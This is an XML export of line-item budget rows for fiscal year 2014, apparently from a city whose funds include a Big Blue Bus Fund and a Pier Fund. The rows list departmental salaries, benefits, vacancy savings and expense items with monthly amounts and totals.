<row _id="12143"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>38253.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38253.0</total></row>
<row _id="12144"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5214.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5214.0</total></row>
<row _id="12145"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>276.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>276.0</total></row>
<row _id="12146"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>504.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>504.0</total></row>
<row _id="12147"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>313.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="12148"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>417.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>417.0</total></row>
<row _id="12149"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1269.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1269.0</total></row>
<row _id="12150"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>517208.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>1677.6</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>518885.6</total></row>
<row _id="12151"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16279.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16279.0</total></row>
<row _id="12152"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>41982.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41982.0</total></row>
<row _id="12153"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>23464.0</june><total>23464.0</total></row>
<row _id="12154"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>533710.0</object><object_description>SOFTWARE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="12155"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1300.0</total></row>
<row _id="12156"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="12157"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1150.0</total></row>
<row _id="12158"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="12159"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577344.0</object><object_description>HAP-VOUCHER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12611900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12611900.0</total></row>
<row _id="12160"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>26147.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26147.0</total></row>
<row _id="12161"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1650.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1650.0</total></row>
<row _id="12162"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>120312.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>120312.0</total></row>
<row _id="12163"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>588100.0</object><object_description>EQUIP - PRODUCTION &amp; OFFICE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>124000.0</july><august>0</august><september>0</september><october>-50000</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>74000.0</total></row>
<row _id="12164"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1829.0</july><august>0</august><september>0</september><october>0</october><november>830</november><december>129</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2788.0</total></row>
<row _id="12165"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>542210.0</object><object_description>PUBLICATIONS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>182291.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>182291.0</total></row>
<row _id="12166"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>198395.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>198395.0</total></row>
<row _id="12167"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>408150.0</object><object_description>ALT FUEL TAX CREDIT</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-158150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-158150.0</total></row>
<row _id="12168"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-46616.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-46616.0</total></row>
<row _id="12169"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-46728.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-46728.0</total></row>
<row _id="12170"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-47770.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-47770.0</total></row>
<row _id="12171"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-13134.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-13134.0</total></row>
<row _id="12172"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1467929.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>22699</december><january>-817.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1489811.0</total></row>
<row _id="12173"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>231990.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>231990.0</total></row>
<row _id="12174"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2336.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2336.0</total></row>
<row _id="12175"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-34207.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-34207.0</total></row>
<row _id="12176"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2663.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2663.0</total></row>
<row _id="12177"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="12178"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562155.0</object><object_description>PRESCHOOL-ERLY INT &amp; VIOL PREV</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>71283.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>71283.0</total></row>
<row _id="12179"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563128.0</object><object_description>PARATRANSIT PROGRAM-GENERAL FD</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>93504.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>93504.0</total></row>
<row _id="12180"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562432.0</object><object_description>SHP-ST JOE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>63432.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>63432.0</total></row>
<row _id="12181"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>1444131.0</june><total>1444131.0</total></row>
<row _id="12182"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>555397.0</object><object_description>11 UASI GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>2121.94</june><total>2121.94</total></row>
<row _id="12183"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561147.0</object><object_description>ST. JOE HPSHP - HUD</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>21672.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21672.0</total></row>
<row _id="12184"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>408250.0</object><object_description>AHPP COMP MONITOR-STARTUP FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>20000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12185"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3476.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3476.0</total></row>
<row _id="12186"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4518.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4518.0</total></row>
<row _id="12187"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577300.0</object><object_description>PIER RESTORATION CORPORATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>694257.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>694257.0</total></row>
<row _id="12188"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>578420.0</object><object_description>POLICE PIER PATROL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>405251.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>405251.0</total></row>
<row _id="12189"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>517500.0</july><august>0</august><september>0</september><october>0</october><november>3948</november><december>7563</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>529011.0</total></row>
<row _id="12190"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>99146.0</july><august>0</august><september>0</september><october>0</october><november>777</november><december>1500</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>101423.0</total></row>
